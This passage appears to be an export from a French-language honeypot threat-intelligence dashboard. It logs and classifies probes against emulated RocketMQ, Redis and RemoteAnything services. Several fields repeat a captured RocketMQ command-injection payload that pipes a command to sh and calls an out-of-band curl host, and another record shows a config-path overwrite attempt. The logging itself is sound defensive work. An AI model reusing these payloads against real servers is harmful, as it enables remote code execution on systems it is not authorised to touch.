"request_sample": "\u0000\u0000\u0000\ufffd\u0000\u0000\u0000`{\"code\":25,\"flag\":0,\"language\":\"JAVA\",\"opaque\":0,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":395}filterServerNums=1\nrocketmqHome=-c $@|sh . echo curl d9c4pedagd2gv8g9dmi0t1se96o7dj5ju.oast.me\/\/\/\/\/\/\/\/\/\/\/\/\/;\n",
"payload_snippet": "\u0000\u0000\u0000\ufffd\u0000\u0000\u0000`{\"code\":25,\"flag\":0,\"language\":\"JAVA\",\"opaque\":0,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":395}filterServerNums=1\nrocke",
"evidence": {
"request_sample": "\u0000\u0000\u0000\ufffd\u0000\u0000\u0000`{\"code\":25,\"flag\":0,\"language\":\"JAVA\",\"opaque\":0,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":395}filterServerNums=1\nrocketmqHome=-c $@|sh . echo curl d9c4pedagd2gv8g9dmi0t1se96o7dj5ju.oast.me\/\/\/\/\/\/\/\/\/\/\/\/\/;\n",
"payload_snippet": "\u0000\u0000\u0000\ufffd\u0000\u0000\u0000`{\"code\":25,\"flag\":0,\"language\":\"JAVA\",\"opaque\":0,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":395}filterServerNums=1\nrocke",
"classification_reason": "Type \u00ab cmd_injection \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7a8e85d39cf8aa036b508dad1b0536b1f7fef231",
"protocol_details": {
"payload_preview": "\u0000\u0000\u0000\ufffd\u0000\u0000\u0000`{\"code\":25,\"flag\":0,\"language\":\"JAVA\",\"opaque\":0,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":395}filterServerNums=1\nrocke",
"port": 10911
},
"evidence_snippet": "\ufffd`{\"code\":25,\"flag\":0,\"language\":\"JAVA\",\"opaque\":0,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":395}filterServerNums=1\nrocke",
"attack_vector": "cmd injection \u00b7 port 10911 \u00b7 (tentative d'exploit)",
"target_port_label": "10911",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab cmd_injection \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab cmd_injection \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 54\/100 (Moyen) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 multi-protocole (4 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 8,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 0,
"novelty": 15,
"risk_score": 54,
"correlation_boost": 8
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 54,
"risk_label": "Moyen",
"service_name": null,
"service_label_fr": null,
"dst_port": 10911,
"protocol_emulated": null,
"tags_summary": [
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0147"
],
"tags_summary_labels_fr": [
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0147"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0000\u0000\u0000\ufffd\u0000\u0000\u0000`{\"code\":25,\"flag\":0,\"language\":\"JAVA\",\"opaque\":0,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":395}filterServerNums=1\nrocke",
"port": 10911
},
"attack_vector": "cmd injection \u00b7 port 10911 \u00b7 (tentative d'exploit)",
"evidence_snippet": "\ufffd`{\"code\":25,\"flag\":0,\"language\":\"JAVA\",\"opaque\":0,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":395}filterServerNums=1\nrocke",
"target_port_label": "10911",
"emulator_service": null,
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "generic",
"service_banner": "honeypot",
"service_os": "linux",
"dst_port": "10911"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 4,
"multi_protocol_sample": [
"http",
"port:10911",
"redis",
"rocketmq"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate"
}
|
|
|
TCP |
9876 · ROCKETMQ
|
rocketmq
|
Scan de ports
port scan syn · via ROCKETMQ:9876 · (reconnaissance)
|
Élevée
|
Moyen · 42
|
|
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
Protocole
Émulateur
ROCKETMQ
WAF
—
Recommandation
Surveiller
Tags
net_rocketmq_probe
redis_config_probe
rocketmq_emulated
rocketmq_payload
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
9876
Chemin / cible
—
Service
ROCKETMQ
Payload
� a{"code":318,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":405}configStorePath=/tmp/pw
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +8
Risque capteur
Moyen
· 42
Confiance : Confiance 100 % — 4 signal(aux) capteur
Protocole émulé
1
Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Multi Port 60S
Tactiques MITRE
TA0043
Motifs de détection (base)
Minecraft varint handshake
User-Agent
—
Règles WAF
—
Payload (extrait)
� a{"code":318,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":405}configStorePath=/tmp/pw
Requête brute (extrait)
� a{"code":318,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":405}configStorePath=/tmp/pwned productEnvName=test/path\ntest\ntest
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "526f636b65744d510000000000000001",
"emulator_response_len": 16,
"bytes_in": 168,
"payload_entropy": 5.09830291437539,
"port_category": "registered",
"org": "IDDQD-AS",
"service": "rocketmq",
"app_proto": "rocketmq",
"asn": 8452,
"country": "EG",
"dst_port": 9876,
"risk_waf": 8,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15
},
"risk_score": 42,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "05c88620f018952b74e6e673d9aee30a65317f7b",
"event_fingerprint": "69f1f514dc809742bc860cf5cf92d1f1632ae0f0",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 231,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"matched_patterns": [
"pat-0554"
],
"matched_pattern_names": [
"Minecraft varint handshake"
],
"pattern_ids": [
"pat-0554"
],
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15,
"risk_score": 42,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "rocketmq",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "EG",
"asn": 8452,
"org": "IDDQD-AS",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "aeb554f297fa0c797dcda065612d59e5",
"path_pattern_hash": "6a708bf69e8680803ad7dadb39e2e4d9"
},
"target_context": {
"dst_port": 9876,
"service": "rocketmq",
"service_name": "rocketmq",
"risk_score": 42
},
"payload_preview": "\u0000\u0000\u0000\ufffd\u0000\u0000\u0000a{\"code\":318,\"flag\":0,\"language\":\"JAVA\",\"opaque\":0,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":405}configStorePath=\/tmp\/pw",
"request_sample": "\u0000\u0000\u0000\ufffd\u0000\u0000\u0000a{\"code\":318,\"flag\":0,\"language\":\"JAVA\",\"opaque\":0,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":405}configStorePath=\/tmp\/pwned\nproductEnvName=test\/path\\ntest\\ntest",
"payload_snippet": "\u0000\u0000\u0000\ufffd\u0000\u0000\u0000a{\"code\":318,\"flag\":0,\"language\":\"JAVA\",\"opaque\":0,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":405}configStorePath=\/tmp\/pw",
"evidence": {
"request_sample": "\u0000\u0000\u0000\ufffd\u0000\u0000\u0000a{\"code\":318,\"flag\":0,\"language\":\"JAVA\",\"opaque\":0,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":405}configStorePath=\/tmp\/pwned\nproductEnvName=test\/path\\ntest\\ntest",
"payload_snippet": "\u0000\u0000\u0000\ufffd\u0000\u0000\u0000a{\"code\":318,\"flag\":0,\"language\":\"JAVA\",\"opaque\":0,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":405}configStorePath=\/tmp\/pw",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7e4827f59b17bf6fd62e7b4bfb0b7e7d7d57902c",
"protocol_details": {
"payload_preview": "\u0000\u0000\u0000\ufffd\u0000\u0000\u0000a{\"code\":318,\"flag\":0,\"language\":\"JAVA\",\"opaque\":0,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":405}configStorePath=\/tmp\/pw",
"port": 9876,
"service": "rocketmq",
"service_label_fr": "ROCKETMQ"
},
"evidence_snippet": "\ufffda{\"code\":318,\"flag\":0,\"language\":\"JAVA\",\"opaque\":0,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":405}configStorePath=\/tmp\/pw",
"attack_vector": "port scan syn \u00b7 via ROCKETMQ:9876 \u00b7 (reconnaissance)",
"target_port_label": "9876 \u00b7 ROCKETMQ",
"emulator_service": "rocketmq",
"confidence_reason": "Confiance 100 % \u2014 4 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 42\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via ROCKETMQ \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15,
"risk_score": 42,
"correlation_boost": 8
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 42,
"risk_label": "Moyen",
"service_name": "rocketmq",
"service_label_fr": "ROCKETMQ",
"dst_port": 9876,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Multi Port 60S"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-rocketmq",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0000\u0000\u0000\ufffd\u0000\u0000\u0000a{\"code\":318,\"flag\":0,\"language\":\"JAVA\",\"opaque\":0,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":405}configStorePath=\/tmp\/pw",
"port": 9876,
"service": "rocketmq",
"service_label_fr": "ROCKETMQ"
},
"attack_vector": "port scan syn \u00b7 via ROCKETMQ:9876 \u00b7 (reconnaissance)",
"evidence_snippet": "\ufffda{\"code\":318,\"flag\":0,\"language\":\"JAVA\",\"opaque\":0,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":405}configStorePath=\/tmp\/pw",
"target_port_label": "9876 \u00b7 ROCKETMQ",
"emulator_service": "rocketmq",
"confidence_reason": "Confiance 100 % \u2014 4 signal(aux) capteur",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "rocketmq",
"service_banner": "honeypot-rocketmq",
"service_os": "linux",
"dst_port": "9876"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"http",
"redis",
"rocketmq"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_rocketmq_probe",
"redis_config_probe",
"rocketmq_emulated",
"rocketmq_payload"
]
}
|
|
|
TCP |
6379 · REDIS
|
redis
|
Sonde port 6379/TCP
port 6379 tcp · via REDIS:6379 · (sonde / probe)
|
Élevée
|
Moyen · 42
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Commande Redis : *3
Émulateur
REDIS
WAF
—
Recommandation
Surveiller
Tags
net_redis_probe
redis_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
6379
Chemin / cible
—
Preuve honeypot — Sonde port 6379/TCP
Connexion détectée sur le port 6379 (TCP) du capteur simulé.
Service
REDIS
Redis
Commande Redis : *3
Payload
*3 $5 LPUSH $7 default $936 {"content-encoding": "utf-8", "properties": {"priority": 0, "delivery_tag": "f29d2b4f-b9d6-4b9
Pourquoi cette classification : Type « port_6379_tcp » (signaux protocolaires) · confiance 55%
Confiance classification
55%
Risque capteur
Moyen
· 42
Confiance : Confiance 55 % — Classification nommée non retenue — preuves insuffisantes
Protocole émulé
1
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Payload (extrait)
*3
$5
LPUSH
$7
default
$936
{"content-encoding": "utf-8", "properties": {"priority": 0, "delivery_tag": "f29d2b4f-b9d6-4b9
Requête brute (extrait)
*3 $5 LPUSH $7 default $936 {"content-encoding": "utf-8", "properties": {"priority": 0, "delivery_tag": "f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066", "delivery_mode": 2, "body_encoding": "base64", "correlation_id": "ed5f75c1-94f7-43e4-ac96-e196ca248bd4", "
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "2d4e4f415554482041757468656e7469636174696f6e2072657175697265642e0d0a",
"emulator_response_len": 34,
"bytes_in": 936,
"payload_entropy": 5.461207862894401,
"port_category": "registered",
"org": "IDDQD-AS",
"service": "redis",
"app_proto": "redis",
"asn": 8452,
"country": "EG",
"dst_port": 6379,
"risk_waf": 8,
"risk_classification": 38,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 36,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.5,
"risk_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 15
},
"risk_score": 42,
"tag_count": 2,
"anomaly_count": 0,
"campaign_key": "b10303bd0e441f9f60f46376cbc4ca72292b5068",
"event_fingerprint": "9c536ce82edfb6f83700eeb7934e9ac49a41747b",
"classification_reason": "Type \u00ab port_6379_tcp \u00bb (signaux protocolaires) \u00b7 confiance 55%",
"confidence": 0.55,
"classification_confidence": 0.55,
"precision_score": 0,
"precision_signals": [],
"kb_rule_ids": [],
"confidence_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 15,
"risk_score": 42
},
"named_classification_skipped": true,
"named_candidate": "redis_probe",
"service_name": "redis",
"risk_confidence_factor": 55,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "EG",
"asn": 8452,
"org": "IDDQD-AS",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "9c9dbf72de681a562b7f7d233229889d",
"path_pattern_hash": "42eb67f6877c6439dbde87dd6ec1f324"
},
"target_context": {
"dst_port": 6379,
"service": "redis",
"service_name": "redis",
"risk_score": 42
},
"payload_preview": "*3\r\n$5\r\nLPUSH\r\n$7\r\ndefault\r\n$936\r\n{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9",
"request_sample": "*3\r\n$5\r\nLPUSH\r\n$7\r\ndefault\r\n$936\r\n{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"",
"payload_snippet": "*3\r\n$5\r\nLPUSH\r\n$7\r\ndefault\r\n$936\r\n{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9",
"evidence": {
"request_sample": "*3\r\n$5\r\nLPUSH\r\n$7\r\ndefault\r\n$936\r\n{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"",
"payload_snippet": "*3\r\n$5\r\nLPUSH\r\n$7\r\ndefault\r\n$936\r\n{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9",
"classification_reason": "Type \u00ab port_6379_tcp \u00bb (signaux protocolaires) \u00b7 confiance 55%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "06b22b96bc5b9de4afab603b9af8df39bf70ab22",
"protocol_details": {
"redis_command_fr": "Commande Redis : *3",
"payload_preview": "*3\r\n$5\r\nLPUSH\r\n$7\r\ndefault\r\n$936\r\n{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9",
"port": 6379,
"service": "redis",
"service_label_fr": "REDIS"
},
"evidence_snippet": "*3\r\n$5\r\nLPUSH\r\n$7\r\ndefault\r\n$936\r\n{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9",
"attack_vector": "port 6379 tcp \u00b7 via REDIS:6379 \u00b7 (sonde \/ probe)",
"target_port_label": "6379 \u00b7 REDIS",
"emulator_service": "redis",
"confidence_reason": "Confiance 55 % \u2014 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_6379_tcp \u00bb (signaux protocolaires) \u00b7 confiance 55%",
"classification_reason_label_fr": "Type \u00ab port_6379_tcp \u00bb (signaux protocolaires) \u00b7 confiance 55%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 42\/100",
"confidence_pct": 55,
"confidence_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 15,
"risk_score": 42
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 42,
"risk_label": "Moyen",
"service_name": "redis",
"service_label_fr": "REDIS",
"dst_port": 6379,
"protocol_emulated": true,
"tags_summary": null,
"tags_summary_labels_fr": null,
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "Redis 7.0",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"redis_command_fr": "Commande Redis : *3",
"payload_preview": "*3\r\n$5\r\nLPUSH\r\n$7\r\ndefault\r\n$936\r\n{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9",
"port": 6379,
"service": "redis",
"service_label_fr": "REDIS"
},
"attack_vector": "port 6379 tcp \u00b7 via REDIS:6379 \u00b7 (sonde \/ probe)",
"evidence_snippet": "*3\r\n$5\r\nLPUSH\r\n$7\r\ndefault\r\n$936\r\n{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9",
"target_port_label": "6379 \u00b7 REDIS",
"emulator_service": "redis",
"confidence_reason": "Confiance 55 % \u2014 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes",
"confidence_factors_fr": "Confiance 55 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "redis",
"service_banner": "Redis 7.0",
"service_os": "linux",
"dst_port": "6379"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"net_redis_probe",
"redis_emulated"
]
}
|
|
|
TCP |
4000 · REMOTEANYTHING
|
remoteanything
|
remoteanything
remoteanything · via REMOTEANYTHING:4000 · (sonde / probe)
|
Faible
|
Faible · 0
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
REMOTEANYTHING
WAF
—
Recommandation
Surveiller
Tags
—
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
4000
Chemin / cible
—
Pourquoi cette classification : Type « remoteanything » (signaux protocolaires) · confiance 0%
Confiance classification
0%
Risque capteur
Faible
· 0
Confiance : Confiance faible (0 %) — classification prudente
Protocole émulé
1
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "32323020686f6e6579706f742072656d6f7465616e797468696e6720726561647920706f72743d343030300d0a",
"emulator_response_len": 45,
"port_inferred_service": true,
"bytes_in": 0,
"payload_entropy": 0,
"port_category": "registered",
"org": "IDDQD-AS",
"service": "remoteanything",
"app_proto": "remoteanything",
"asn": 8452,
"country": "EG",
"dst_port": 4000,
"risk_waf": 8,
"risk_classification": 0,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 22,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 0.2,
"risk_breakdown": {
"waf": 8,
"classification": 0,
"behavior": 0,
"geo": 0,
"protocol": 22,
"novelty": 0
},
"risk_score": 0,
"tag_count": 0,
"anomaly_count": 0,
"campaign_key": "f88a96a7a2195ddc5425c713492dfeb24a49282e",
"event_fingerprint": "07cd5f73535b136b58bd81864049efd35e649f3d",
"classification_reason": "Type \u00ab remoteanything \u00bb (signaux protocolaires) \u00b7 confiance 0%",
"confidence": 0,
"classification_confidence": 0,
"precision_score": 0,
"precision_signals": [],
"kb_rule_ids": [],
"confidence_breakdown": {
"waf": 8,
"classification": 0,
"behavior": 0,
"geo": 0,
"protocol": 22,
"novelty": 0,
"risk_score": 0
},
"named_classification_skipped": false,
"service_name": "remoteanything",
"risk_confidence_factor": 0,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "EG",
"asn": 8452,
"org": "IDDQD-AS",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"path_pattern_hash": "910f1d0651f97b463356bb788b95ea33"
},
"target_context": {
"dst_port": 4000,
"service": "remoteanything",
"service_name": "remoteanything",
"risk_score": 0
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "2a87d09db003d6362a4d925c05dd4f0ca2576d90",
"protocol_details": {
"port": 4000,
"service": "remoteanything",
"service_label_fr": "REMOTEANYTHING"
},
"attack_vector": "remoteanything \u00b7 via REMOTEANYTHING:4000 \u00b7 (sonde \/ probe)",
"target_port_label": "4000 \u00b7 REMOTEANYTHING",
"emulator_service": "remoteanything",
"confidence_reason": "Confiance faible (0 %) \u2014 classification prudente",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab remoteanything \u00bb (signaux protocolaires) \u00b7 confiance 0%",
"classification_reason_label_fr": "Type \u00ab remoteanything \u00bb (signaux protocolaires) \u00b7 confiance 0%",
"executive_one_liner_fr": "Activit\u00e9 suspecte",
"confidence_pct": 0,
"confidence_breakdown": {
"waf": 8,
"classification": 0,
"behavior": 0,
"geo": 0,
"protocol": 22,
"novelty": 0,
"risk_score": 0
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 0,
"risk_label": "Faible",
"service_name": "remoteanything",
"service_label_fr": "REMOTEANYTHING",
"dst_port": 4000,
"protocol_emulated": true,
